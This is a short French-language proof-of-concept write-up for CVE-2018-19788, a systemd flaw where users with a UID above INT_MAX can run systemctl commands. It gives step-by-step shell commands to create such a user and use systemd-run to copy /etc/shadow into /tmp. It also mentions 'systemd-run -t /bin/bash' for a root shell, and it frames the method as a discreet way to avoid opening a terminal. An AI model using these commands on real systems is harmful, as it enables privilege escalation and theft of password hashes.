Exploitation de CVE-2018-19788 pour extraire des fichiers protégés sans shell root

CVE-2018-19788 est un problème où tout utilisateur avec un UID supérieur à INT_MAX (soit 4000000000) peut exécuter n'importe quelle commande systemctl sur une machine Linux systemd, comme Ubuntu. (Il y a déjà un writeup pour obtenir un shell root : ici). La principale différence entre ce writeup et le writeup complet du shell root est que celui-ci sera exécuté en tant que l'utilisateur lui-même plutôt qu'en tant que root (en gros juste une PoC pour être honnête)

Obtenir /etc/shadow sans exécuter un shell root

Pour obtenir un shell root, il suffit d'exécuter systemd-run -t /bin/bash, mais si vous souhaitez rester discret, vous pouvez exécuter des commandes simples pour obtenir des fichiers privilégiés sans terminal. Suivez ces étapes :

• Ajouter un utilisateur avec un UID supérieur à INT_MAX :
  root@kitploit:~

  adduser --uid 4000000000 someusername
  

• Basculer vers le compte utilisateur :
  root@kitploit:~

  su someusername
  

• Exécutez la commande pour le fichier de votre choix (nous utiliserons /etc/shadow pour cet exemple) :
  root@kitploit:~

  systemd-run bash -c 'cat /etc/shadow > /tmp/results_poc.txt'
  

• Votre fichier se trouve maintenant dans /tmp :
  root@kitploit:~

  cat /tmp/results_poc.txt
  

Vidéo de la PoC